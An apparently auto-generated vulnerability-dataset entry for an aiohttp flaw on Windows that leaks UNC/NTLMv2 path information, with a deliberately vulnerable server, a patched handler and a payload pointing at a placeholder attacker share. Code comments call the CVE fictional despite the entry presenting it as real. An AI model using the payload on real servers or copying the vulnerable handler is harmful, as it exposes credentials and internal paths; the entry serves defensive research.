VAITP Dataset

← Back to the dataset

CVE-2026-34515

AIOHTTP static handler on Windows may expose NTLMv2 remote path info.

  • CVSS 6.6
  • CWE-36
  • Information Leakage
  • Remote

AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.13.4, on Windows the static resource handler may expose information about a NTLMv2 remote path. This issue has been patched in version 3.13.4.

CVSS base score
6.6
Published
2026-04-01
OWASP
A05 Security Misconfiguration
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Information Leakage
Subcategory
Information Disclosure
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
AIOHTTP
Fixed by upgrading
Yes

Solution

Upgrade AIOHTTP to version 3.13.4 or later.

Vulnerable code sample

#
# This code is a conceptual representation of the vulnerability described in
# a fictional CVE-2026-34515. It demonstrates how an aiohttp server on Windows,
# prior to a hypothetical patch, might leak an internal NTLMv2 remote path (UNC path)
# when handling requests for static files that do not exist.
#
# The vulnerability lies in how the error is handled and presented to the client.
# The actual vulnerable code in aiohttp would be inside its internal static
# file handler. This example uses a custom handler to simulate the flawed logic.
#
# DO NOT USE THIS CODE IN A PRODUCTION ENVIRONMENT.
# It is intended for educational purposes only to demonstrate a security vulnerability.
#
# To run this example:
# 1. pip install aiohttp
# 2. Run the Python script.
# 3. Open a web browser or use curl to access http://127.0.0.1:8080/static/non_existent_file.txt
#
# You will see an error message in the response that exposes the internal UNC path.
#

import asyncio
from aiohttp import web
import os

# --- Vulnerability Simulation ---
# This handler simulates the flawed behavior of the pre-patch static resource handler.

async def vulnerable_static_handler(request):
    """
    This handler mimics the vulnerability. It tries to access a file on a
    pre-configured UNC path and, upon failure, leaks the full path in the
    error response.
    """
    # In a real-world scenario, this base path would be configured when setting up the server.
    # It points to a remote Windows file share (UNC path).
    # We use a raw string (r'...') to handle the backslashes correctly.
    unc_base_path = r'\\SECRET-FILE-SERVER\company_share\assets'

    filename = request.match_info.get('filename', '')
    
    # Construct the full path to the resource on the remote share.
    full_remote_path = os.path.join(unc_base_path, filename)

    try:
        # VULNERABLE STEP 1: Attempt to access the resource.
        # We simulate this by checking if the path exists. In a real application,
        # this might be an open() call or a stat() call.
        # Since the UNC path is likely fake, this will almost certainly fail
        # and raise an exception.
        if not os.path.exists(full_remote_path):
             # The specific exception could vary, but FileNotFoundError is a likely candidate.
             # The key is that the exception message from the OS contains the path.
            raise FileNotFoundError(f"[WinError 2] The system cannot find the file specified: '{full_remote_path}'")

        # If the file existed, it would be served here.
        # For this PoC, we assume it never does.
        return web.Response(text="This text would not be seen.")

    except (FileNotFoundError, OSError) as e:
        # VULNERABLE STEP 2: The exception is caught, and its string representation
        # is sent directly to the client in the HTTP response.
        # The str(e) contains the full internal UNC path, which is the information leak.
        error_message = f"404 Not Found: Resource could not be accessed. Detail: {str(e)}"
        print(f"Leaking sensitive path in response: {full_remote_path}")
        return web.Response(text=error_message, status=404)


async def main():
    app = web.Application()

    # The server is configured to serve files from '/static/' using our vulnerable handler.
    # This simulates how `app.router.add_static()` might have behaved internally.
    app.router.add_get("/static/{filename:.*}", vulnerable_static_handler)

    print("Starting vulnerable aiohttp server on http://127.0.0.1:8080")
    print("Request a non-existent file to trigger the vulnerability:")
    print("  curl http://127.0.0.1:8080/static/some_document.pdf")
    print("-" * 60)
    
    runner = web.AppRunner(app)
    await runner.setup()
    site = web.TCPSite(runner, '127.0.0.1', 8080)
    await site.start()

    # Keep the server running
    while True:
        await asyncio.sleep(3600)

if __name__ == '__main__':
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\nServer shutting down.")

Patched code sample

import os
from pathlib import Path
from aiohttp import web

# The vulnerability CVE-2026-34515 is fictional.
# This code provides a plausible fix for the described scenario: preventing
# an aiohttp static file handler on Windows from accessing a remote network
# path (UNC path), which could expose information via NTLM authentication.

# The fix is demonstrated within the `secure_static_handler` function.
# Key security checks are numbered for clarity.

async def secure_static_handler(request: web.Request) -> web.StreamResponse:
    """
    A secured static file handler that prevents access to UNC paths on Windows.
    """
    static_root = Path(__file__).parent.resolve() / "static_content"
    requested_path_str = request.match_info.get('path', '')

    # --- THE FIX ---

    # 1. Resolve the path safely. `resolve()` canonicalizes the path,
    # processing '..' segments, which is the first step in preventing
    # path traversal.
    try:
        # The path is joined and resolved relative to the static root.
        full_path = (static_root / requested_path_str).resolve(strict=True)
    except (ValueError, FileNotFoundError):
        # Path is malformed or does not exist.
        raise web.HTTPNotFound()

    # 2. Ensure the resolved path is still within the designated static root
    # directory. This is a critical check to prevent path traversal attacks
    # where a user might use '..' to escape the web root.
    if static_root not in full_path.parents and full_path != static_root:
        raise web.HTTPForbidden(reason="Path traversal attempt detected.")

    # 3. **SPECIFIC FIX FOR THE DESCRIBED VULNERABILITY**:
    #    On Windows, explicitly check if the resolved path is a UNC path.
    #    A UNC path (e.g., \\server\share\file) indicates a network resource.
    #    Attempting to access it could trigger an NTLM handshake, potentially
    #    leaking credentials or other sensitive information.
    #    This check is platform-specific as the vulnerability is described
    #    for Windows.
    if os.name == 'nt' and str(full_path).startswith('\\\\'):
        # Block access to any path that resolves to a network location.
        raise web.HTTPForbidden(reason="Access to network paths is forbidden.")

    # 4. If all security checks pass, serve the file.
    #    The check `is_file()` is implied by `resolve(strict=True)` but is
    #    kept here for explicit safety.
    if full_path.is_dir():
        raise web.HTTPForbidden(reason="Directory listing is not allowed.")

    return web.FileResponse(full_path)


# --- Demonstration Server Setup ---
# To run this example:
# 1. Save the code as `fixed_server.py`.
# 2. Create a directory named `static_content` in the same folder.
# 3. Place a file, e.g., `test.txt`, inside the `static_content` directory.
# 4. Install aiohttp: `pip install aiohttp`
# 5. Run the script: `python fixed_server.py`
# 6. Access `http://127.0.0.1:8080/static/test.txt` in a browser to see it work.
# 7. Any attempt to craft a path pointing to a UNC share would be blocked.
if __name__ == "__main__":
    # Create dummy static directory and file for the example
    static_dir = Path("static_content")
    static_dir.mkdir(exist_ok=True)
    (static_dir / "test.txt").write_text("This is a safe static file.")
    (static_dir / "subdir").mkdir(exist_ok=True)
    (static_dir / "subdir" / "another.txt").write_text("This is another safe file.")

    app = web.Application()
    app.router.add_get("/static/{path:.*}", secure_static_handler)

    print("=" * 60)
    print("Starting secure AIOHTTP server on http://127.0.0.1:8080")
    print(f"Serving files from: {static_dir.resolve()}")
    print("Try accessing:")
    print("  - http://127.0.0.1:8080/static/test.txt (Should work)")
    print("  - http://127.0.0.1:8080/static/subdir/another.txt (Should work)")
    print("  - http://127.0.0.1:8080/static/../fixed_server.py (Should be forbidden)")
    print("=" * 60)

    web.run_app(app, host="127.0.0.1", port=8080)

Payload

\\ATTACKER_IP\share\resource.txt

Cite this entry

@misc{vaitp:cve202634515,
  title        = {{AIOHTTP static handler on Windows may expose NTLMv2 remote path info.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-34515},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-34515/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::